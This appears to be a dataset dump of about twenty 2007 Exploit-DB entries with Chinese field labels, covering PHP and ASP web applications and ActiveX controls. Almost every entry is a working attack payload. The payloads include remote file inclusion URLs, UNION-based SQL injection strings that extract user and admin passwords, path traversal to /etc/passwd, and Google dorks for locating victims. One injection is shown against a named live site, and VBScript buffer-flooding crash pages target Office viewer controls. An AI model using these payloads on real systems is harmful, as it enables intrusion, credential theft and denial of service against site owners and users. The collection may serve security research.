QLWD/code_shield huggingface dataset:
标题: vm Watermark for Gallery 0.4.1 - Remote File Inclusion EDB-ID: 3857 CVE: 2007-2575 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-05 漏洞利用脚本: #vm watermark mod 0.4.1 Remote file include

#Download script : http://gallery.menalto.com/files/vm-watermark_mod-0.4.1.zip

#Thanks to str0ke

#Exploit :

#http://www.site.com/[path]/watermark.php?GALLERY_BASEDIR=shell.txt?

#Discovered by : ThE TiGeR

# Miro_Tiger100[at]Hotmail[dot]com

# milw0rm.com [2007-05-05] URL: https://www.exploit-db.com/exploits/3857
标题: PMECMS 1.0 - config[pathMod] Remote File Inclusion EDB-ID: 3852 CVE: 2007-2540 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-04 漏洞利用脚本: # PMECMS <= 1.0 Multiple Remote File Inclusion Vulnerabilities
# D.Script: http://www.pmecms.com/export/maj/PMECMS_Standard_os1.0.zip
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Exploit:[Path]/mod/image/index.php?config[pathMod]=Shell
# Exploit:[Path]/mod/liens/index.php?config[pathMod]=Shell
# Exploit:[Path]/mod/liste/index.php?config[pathMod]=Shell
# Exploit:[Path]/mod/special/index.php?config[pathMod]=Shell
# Exploit:[Path]/mod/texte/index.php?config[pathMod]=Shell
# And More Download Script ......!!!
# Greetz To: Tryag-Team ....##

# milw0rm.com [2007-05-04] URL: https://www.exploit-db.com/exploits/3852
标题: PHP TopTree BBS 2.0.1a - 'right_file' Remote File Inclusion EDB-ID: 3854 CVE: 2007-2544 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-04 漏洞利用脚本: ##############################################################################################
##############################################################################################
#TopTree <= 2.01a Remote File Inclusion Vulnerability
#
#Dork:"Powered by DVHome.cn"
#
#Vuln Code
###################################################################################
#
#ERROR:templates/default/tpl_message.php
#
# <?php include ($right_file); ?>
#
#BUG:
#
#Example:http://site.com/path/templates/default/tpl_message.php?right_file=[[Sh3LL
Script]]
#
#Script Download
#############################################################################
#http://sourceforge.net/project/showfiles.php?group_id=169574&package_id=193438&release_id=426108
#
#Original W3b
Site############################################################################
#
#http://www.dvhome.cn
#
#Special Thanks:##### x0r0n ##### ajan ##### siircicocuk
#####################################
##############################################################################################
##############################################################################################

# milw0rm.com [2007-05-04] URL: https://www.exploit-db.com/exploits/3854
标题: E-GADS! 2.2.6 - 'common.php?locale' Remote File Inclusion EDB-ID: 3846 CVE: 2007-2521 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-04 漏洞利用脚本: ##############################################################################################
##############################################################################################
#E-GADS! 2.2.6 Remote File Inclusion Vulnerability
#
#Dork::(
#
#Vuln Code
###################################################################################
#
#ERROR:common.php
#
# require ("$locale/locale.php");
#
#BUG:
#
#Example:http://site.com/path/common.php?locale=[[Sh3LL Script]]
#
#Script Download
#############################################################################
#https://sourceforge.net/project/showfiles.php?group_id=88942&package_id=93125&release_id=444821
#
#Special Thanks:##### x0r0n ##### ajan ##### siircicocuk
#####################################
##############################################################################################
##############################################################################################

# milw0rm.com [2007-05-04] URL: https://www.exploit-db.com/exploits/3846
标题: Versado CMS 1.07 - 'ajax_listado.php?urlModulo' Remote File Inclusion EDB-ID: 3847 CVE: 2007-2541 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-04 漏洞利用脚本: ##############################################################################################
##############################################################################################
#Versado CMS  <=  Remote File Inclusion Vulnerability
#
#Dork::(
#
#Vuln Code
###################################################################################
#
#ERROR:includes/ajax_listado.php
#
# if(!empty($_GET['urlModulo'])){
       require_once($_GET['urlModulo']);
}else if(!empty($_POST['urlModulo'])){
       require_once($_POST['urlModulo']);


#BUG:
#
#Example:http://site.com/includes/ajax_listado.php?urlModulo=[[Sh3LL Script]]
#Script Download
#############################################################################
#http://sourceforge.net/project/downloading.php?group_id=149698&use_mirror=puzzle&filename=versado_CMS.rar&80698096
#
#Original W3b Site############################################################################
#
#http://www.versado.com.ar/control/index.php
#
#Special Thanks:##### x0r0n ##### ajan ##### siircicocuk
#####################################
##############################################################################################
##############################################################################################

# milw0rm.com [2007-05-04] URL: https://www.exploit-db.com/exploits/3847
标题: XOOPS Flashgames Module 1.0.1 - SQL Injection EDB-ID: 3849 CVE: 2007-2543 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-04 漏洞利用脚本: ================================================================

Xoops Flashgames Module  1.0.1 Remote Blind SQL Injection

================================================================

Bulan: Cyber-security.org

================================================================

Exploit:
/modules/flashgames/game.php?lid=-19/**/UNION/**/SELECT/**/0,1,pass,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/**/FROM/**/xoops_users/**/LIMIT/**/1,1/*

================================================================

Google dork: inurl:modules/flashgames/

================================================================

# milw0rm.com [2007-05-04] URL: https://www.exploit-db.com/exploits/3849
标题: workbench 0.11 - 'header.php?path' Remote File Inclusion EDB-ID: 3848 CVE: 2007-2542 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-04 漏洞利用脚本: ##############################################################################################
##############################################################################################
#workbench survival guide <=  Remote File Inclusion Vulnerability
#
#Coder:kezzap66345@hotmail.com
#
#Vuln Code
###################################################################################
#
#ERROR:header.php
#
#<td width="100" bgcolor="#9999cc"><?include("$path/navbar.php")?></td>
#
#BUG:
#
#Example:http://site.com/path/header.php?path=[[Sh3LL Script]]
#
#Script Download
#############################################################################
#http://sourceforge.net/projects/workbench/
#
#Original W3b
Site############################################################################
#
#http://workbench.sourceforge.net
#
#Special Thanks:##### x0r0n ##### ajan ##### siircicocuk
#####################################
##############################################################################################
##############################################################################################

# milw0rm.com [2007-05-04] URL: https://www.exploit-db.com/exploits/3848
标题: Office Viewer OCX 3.2.0.5 - Multiple Denial of Service Vulnerabilities EDB-ID: 3845 CVE: 2007-2588 类型: DOS 平台: WINDOWS 发布日期: 2007-05-04 漏洞利用脚本: <span style="font: 14pt Courier New;"><p align="center"><b>2007/05/04</b></p></span>
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------
 <b>Office Viewer (OA.ocx v. 3.2.0.5) multiple methods Denial of Service</b>
 url: http://www.officeocx.com/
 price: from ï¿½77.95 (update to last version) to ï¿½1,558.95 (Royalty)

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to these exploits.
 Theese methods are vulnerable too:

 <b>DoOleCommand</b>
 <b>FTPDownloadFile</b>
 <b>FTPUploadFile</b>
 <b>HttpUploadFile</b>
 <b>Save</b>
 <b>SaveWebFile</b>
-----------------------------------------------------------------------------

<object classid='clsid:18A295DA-088E-42D1-BE31-5028D7F9B9B5' id='target' width="405" height="50"></object>

<select style="width: 404px" name="Pucca">
  <option value = "HttpDownloadFile">HttpDownloadFile</option>
  <option value = "Open">Open</option>
  <option value = "OpenWebFile">OpenWebFile</option>
  <option value = "Quoting">Quoting...</option>
</select>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  on error resume next
   Dim MyMsg
   if Pucca.value = "HttpDownloadFile" then
     argCount = 2
     arg1=String(1000000,"A")
     arg2="defaultV"
     target.HttpDownloadFile arg1, arg2
   elseif Pucca.value = "Open" then
     argCount = 1
     arg1=String(1000000, "A")
     target.Open arg1
   elseif Pucca.value = "OpenWebFile" then
     argCount = 1
     arg1=String(1000000, "A")
     target.OpenWebFile arg1
   else
     MyMsg = MsgBox ("I wanna feel like Iï¿½m somewhere I belong",64 ,"2007/05/04 - Office Viewer 3.2")
   end if
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-05-04] URL: https://www.exploit-db.com/exploits/3845
标题: Pre Shopping Mall 1.0 - SQL Injection EDB-ID: 3842 CVE: 2007-2674 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-03 漏洞利用脚本: ==============================================

Pre Shopping Mall v1.0 Remote SQL Injection

==============================================

Found: Cyber-Security.org

==============================================

Exploit:
detail.php?prodid=-1/**/union/**/select/**/0,1,2,password,4,5,6,7,8,9,10,11,12,13,14,15,16/**/from/**/admin/*

==============================================

Example: http://preproject.com/emall/

==============================================

# milw0rm.com [2007-05-03] URL: https://www.exploit-db.com/exploits/3842
标题: Open Translation Engine (OTE) 0.7.8 - 'header.php?ote_home' Remote File Inclusion EDB-ID: 3838 CVE: 2007-2676 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-03 漏洞利用脚本: # Open Translation Engine (OTE) 0.7.8 (header.php ote_home)Remote File Include
# D.Script: http://heanet.dl.sourceforge.net/sourceforge/ote/ote.0.7.8.zip
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Exploit:[Path]/skins/header.php?ote_home=Shell
# Greetz To: Tryag-Team .....##

# milw0rm.com [2007-05-03] URL: https://www.exploit-db.com/exploits/3838
标题: Censura 1.15.04 - 'censura.php?vendorid' SQL Injection EDB-ID: 3843 CVE: 2007-2673 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-03 漏洞利用脚本: ==============================================

Censura v1.15.04 (vendorid)  Remote SQL Injection

==============================================

Found: Cyber-Security.org

==============================================

Exploit:
censura.php?cmd=vendor_info&vendorid=-1/**/union/**/select/**/0,username,password,3,4,5,6,7,8,9,10,12,13,14,15,16/**/from/**/users/**/

==============================================

google dork: "Powered by: Censura"

vendor: http://www.censura.info/  

==============================================

# milw0rm.com [2007-05-03] URL: https://www.exploit-db.com/exploits/3843
标题: 1024 CMS 0.7 - 'download.php' Remote File Disclosure EDB-ID: 3832 CVE: 2007-2507 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-02 漏洞利用脚本: \#'#/
                                                       (-.-)
                              --------------------oOO---(_)---OOo-------------------
                              |                [ Y! Underground Group ]            |
                              |                 [ www.dj7xpl.2600.ir ]             |
                              |                  [ Dj7xpl @ 2600.ir ]              |
                              ------------------------------------------------------


<--------------------------------------------------------------------------------------------------------------------->

 [!] Portal :  1024 CMS Version 0.7
 [!] Vendor :  http://www.treble.lfhost.com
 [!] Author :  Dj7xpl
 [!] Type   :  Remote File Disclosure Vuln
 [!] We Are :  Y4Ho0 -Mr.Mithridates -Sir SiSiLi -System Failure -Satanic Soulfull -And Me

<--------------------------------------------------------------------------------------------------------------------->

<--------------------------------------------------------------------------------------------------------------------->

PoC :

http://[Target]/[Path]/includes/download.php?item=../uploads/[File]
http://Target.com/1024/includes/download.php?item=../uploads/../../../../../etc/passwd

<--------------------------------------------------------------------------------------------------------------------->

# milw0rm.com [2007-05-02] URL: https://www.exploit-db.com/exploits/3832
标题: PHP Coupon Script 3.0 - 'bus' SQL Injection EDB-ID: 3839 CVE: 2007-2672 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-03 漏洞利用脚本: ==============================================

PHP Coupon Script 3.0 Remote SQL Injection

==============================================

Found: Cyber-Security.org

==============================================

Script site: http://www.couponscript.com/

==============================================

Exploit:
index.php?page=viewbus&bus=-1/**/union/**/select/**/null,null,null,username,password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/from/**/users/*

==============================================

Example: http://www.couponscript.com/demo/

==============================================

# milw0rm.com [2007-05-03] URL: https://www.exploit-db.com/exploits/3839
标题: PostNuke Module v4bJournal - SQL Injection EDB-ID: 3835 CVE: 2007-2492 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-02 漏洞利用脚本: ----------------------------------------
PostNuke Journal
----------------------------------------
                                   
                    DISCOVERED BY :Ali Abbasi
Olom Fonon Mazandaran University - Security Research Center, Babol, Iran
       
   Greetz For All Y! UnderGround Group Members ( www.2600.ir )

    Greetz For All Persian Bugtraq Members ( www.bugtraq.ir )

         Contact:     abbasi@ustmb.ac.ir


                                   {SQL BUG}



in 
    index.php?module=v4bJournal&func=journal_comment&id=(SQL)




------------------------------------------

         EXPLIOT BY :ABDUCTER

Greetz For ABDUCTER Real Friend Nanos (Nancy)

Contact:   ABDUCTER_MINDS@YAHOO.COM 
 


   index.php?module=v4bJournal&func=journal_comment&id=-1/**/union/**/select/**/0,pn_uname,pn_pass,3,4,pn_uname,6,7,8,9,10,11,12,13,14/**/from/**/nuke_users/**/where/**/pn_uid=2/*

EX:- 
http://www.arsfoodcourt.com/index.php?module=v4bJournal&func=journal_comment&id=-1/**/union/**/select/**/0,pn_uname,pn_pass,3,4,pn_uname,6,7,8,9,10,11,12,13,14/**/from/**/nuke_users/**/where/**/pn_uid=2/*


U must regrister first ( You Most Register First )
-------------------------------------------

# milw0rm.com [2007-05-02] URL: https://www.exploit-db.com/exploits/3835
标题: phpChess Community Edition 2.0 - Multiple Remote File Inclusions EDB-ID: 3837 CVE: 2007-2677 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-03 漏洞利用脚本: # phpChess Community Edition 2.0 Multiple Remote File Inclusion Vulnerabilities
# D.Script: http://www.phpchess.net/index-3.html
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Exploit:[Path]/skins/phpchess/layout_admin_cfg.php?Root_Path=Shell
# Exploit:[Path]/skins/phpchess/layout_cfg.php?Root_Path=Shell
# Exploit:[Path]/skins/phpchess/layout_t_top.php?Root_Path=Shell
# Greetz To: Tryag-Team .....##

# milw0rm.com [2007-05-03] URL: https://www.exploit-db.com/exploits/3837
标题: PStruh-CZ 1.3/1.5 - 'download.asp' File Disclosure EDB-ID: 3831 CVE: 2007-2486 类型: WEBAPPS 平台: ASP 发布日期: 2007-05-02 漏洞利用脚本: /*-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-*\
          |*                                                                                                 *|
          |*                                    Y! Underground Group                                         *|
          |*                                                                                                 *|
          \*-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-*/

          /*-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-*\
             Portal.....:   PStruh-CZ 1.3&1.5
             Type.......:   Remote File Disclosure Vulnerability
             Author.....:   Dj7xpl / dj7xpl@2600.ir
             HomePage...:   http://Dj7xpl.2600.ir
          \*-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-*/


          /*-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-*\
             Bug........:

      download.asp?File=[File Path]&PT=[PostFix]
             download.asp?File=../../../../etc/passwd&pt=zip
          \*-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-*/

# milw0rm.com [2007-05-02] URL: https://www.exploit-db.com/exploits/3831
标题: Pre Classifieds Listings 1.0 - SQL Injection EDB-ID: 3840 CVE: 2007-2675 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-03 漏洞利用脚本: ==============================================

Pre Classifieds Listings v1.0 Remote SQL Injection

==============================================

Found: Cyber-Security.org

==============================================

Exploit:
search.php?category=-1/**/union/**/select/**/pass/**/from/**/users/*
search.php?category=-1/**/union/**/select/**/name/**/from/**/users/*

==============================================

Example: http://preproject.com/phppcl/

==============================================

# milw0rm.com [2007-05-03] URL: https://www.exploit-db.com/exploits/3840
标题: Pre News Manager 1.0 - SQL Injection EDB-ID: 3841 CVE: 2006-2763 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-03 漏洞利用脚本: ==============================================

Pre News Manager v1.0 Remote SQL Injection

==============================================

Found: Cyber-Security.org

==============================================

Script site: http://www.preproject.com/news.asp

==============================================

Exploit:
news_detail.php?nid=-1/**/union/**/select/**/0,1,2,password,4,5,6/**/from/**/admin/*

==============================================

Example: http://www.preproject.com/news%20manager/

==============================================

# milw0rm.com [2007-05-03] URL: https://www.exploit-db.com/exploits/3841
标题: Excel Viewer OCX 3.1.0.6 - Multiple Denial of Service Vulnerabilities EDB-ID: 3830 CVE: 2007-2495 类型: DOS 平台: WINDOWS 发布日期: 2007-05-02 漏洞利用脚本: <span style="font: 14pt Courier New;"><p align="center"><b>2007/05/02</b></p></span>
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------
 <b>ExcelViewer.ocx v. 3.1.0.6 multiple methods Denial of Service</b>
 url: http://www.officeocx.com/
 sell: from â‚¬63.95 (update to last version) to â‚¬1,585.95 (Royalty)

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to these exploits.
 Theese methods are vulnerable too:

 <b>DoOleCommand</b>
 <b>FTPDownloadFile</b>
 <b>FTPUploadFile</b>
 <b>HttpUploadFile</b>
 <b>Save</b>
 <b>SaveWebFile</b>
-----------------------------------------------------------------------------

<object classid='clsid:18A295DA-088E-42D1-BE31-5028D7F9B965' id='ExcelOCX' width="405" height="50"></object>

<select style="width: 404px" name="Pucca">
  <option value = "HttpDownloadFile">HttpDownloadFile</option>
  <option value = "Open">Open</option>
  <option value = "OpenWebFile">OpenWebFile</option>
  <option value = "Quoting">Quoting...</option>
</select>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  on error resume next
   Dim MyMsg
   if Pucca.value = "HttpDownloadFile" then
     argCount = 2
     arg1=String(2097512,"A")
     arg2="defaultV"
     ExcelOCX.HttpDownloadFile arg1, arg2
   elseif Pucca.value = "Open" then
     argCount = 1
     arg1=String(2097512, "A")
     ExcelOCX.Open arg1
   elseif Pucca.value = "OpenWebFile" then
     argCount = 1
     arg1=String(2097512, "A")
     ExcelOCX.OpenWebFile arg1
   else
     MyMsg = MsgBox ("...They'll learn much more than I'll ever know" & vbCrLf &_
     "And I think to myself, what a wonderful world...",64 ,"2007/05/02 - ExcelViewer v. 3.1")
   end if
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-05-02] URL: https://www.exploit-db.com/exploits/3830
标题: Word Viewer OCX 3.2 - Remote Denial of Service EDB-ID: 3836 CVE: 2007-2496 类型: DOS 平台: WINDOWS 发布日期: 2007-05-03 漏洞利用脚本: <span style="font: 14pt Courier New;"><p align="center"><b>2007/05/03</b></p></span>
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------
 <b>WordViewer.ocx v. 3.2.0.5 multiple methods Denial of Service</b>
 url: http://www.officeocx.com/
 price: from â‚¬63.95 (update to last version) to â‚¬1,585.95 (Royalty)

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to these exploits.
 Theese methods are vulnerable too:
 
 <b>DoOleCommand</b>
 <b>FTPDownloadFile</b>
 <b>FTPUploadFile</b>
 <b>HttpUploadFile</b>
 <b>GotoPage</b>
 <b>Save</b>
 <b>SaveWebFile</b>
-----------------------------------------------------------------------------

<object classid='clsid:97AF4A45-49BE-4485-9F55-91AB40F22BF2' id='WordOCX' width="405" height="50"></object>

<select style="width: 404px" name="Pucca">
  <option value = "HttpDownloadFile">HttpDownloadFile</option>
  <option value = "Open">Open</option>
  <option value = "OpenWebFile">OpenWebFile</option>
  <option value = "SaveAs">SaveAs</option>
  <option value = "ShowWordStandardDialog">ShowWordStandardDialog</option>
  <option value = "Quoting">Quoting...</option>
</select>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  on error resume next
   Dim MyMsg
   if Pucca.value = "HttpDownloadFile" then
     argCount = 2
     arg1=String(2097512,"A")
     arg2="defaultV"
     WordOCX.HttpDownloadFile arg1, arg2
   elseif Pucca.value = "SaveAs" then
     argCount = 2
     arg1=String(2097512,"A")
     arg2=1
     WordOCX.SaveAs arg1, arg2
   elseif Pucca.value = "Open" then
     argCount = 1
     arg1=String(2097512, "A")
     WordOCX.Open arg1
   elseif Pucca.value = "ShowWordStandardDialog" then
     argCount = 1
     arg1=32767
     WordOCX.ShowWordStandardDialog arg1
   elseif Pucca.value = "OpenWebFile" then
     argCount = 1
     arg1=String(2097512, "A")
     WordOCX.OpenWebFile arg1
   else
     MyMsg= MsgBox ("God is dead," & vbCrLf & _
     "Marx is dead," & vbCrLf &_
     "Freud is dead..." & vbCrLf & _
     "And I'm not feeling too well, myself", 64, "2007/05/03 - WordViewer v. 3.2")
   end if
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-05-03] URL: https://www.exploit-db.com/exploits/3836